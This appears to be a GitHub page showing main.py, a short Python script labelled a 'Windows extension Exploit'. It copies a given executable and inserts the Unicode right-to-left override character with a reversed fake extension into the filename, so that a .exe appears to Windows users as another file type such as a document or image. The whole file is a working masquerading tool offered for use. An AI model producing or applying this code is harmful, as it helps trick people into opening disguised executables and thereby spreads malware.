-
Notifications
You must be signed in to change notification settings - Fork 2
/
main.py
32 lines (25 loc) · 1.01 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import shutil, sys
class Exploit:
def __init__(self):
self.name = "Windows extension Exploit"
self.description = "Exploit for Windows extension, it can hide the .exe extension and replace it with any other extension"
self.author = "github.com/Inplex-sys"
def run(self, filename, fakeExtension):
finalName = bytes(filename, 'utf-8') + b'\xe2\x80\xae' + bytes(fakeExtension[::-1], 'utf-8') + b'..exe'
shutil.copyfile(filename, finalName)
print("[+] File created successfully in the same directory as the script")
pass
def main():
if len(sys.argv) == 2:
if sys.argv[1] == "--help" or sys.argv[1] == "-h":
print( "Usage: python3 main.py <binary> <fake-extension> [--help]\n")
exit(0)
pass
if len(sys.argv) < 2:
print("Usage: python3 main.py <binary> <fake-extension> [--help]\n")
exit(0)
pass
exploit = Exploit()
exploit.run( sys.argv[1], sys.argv[2] )
if __name__ == "__main__":
main()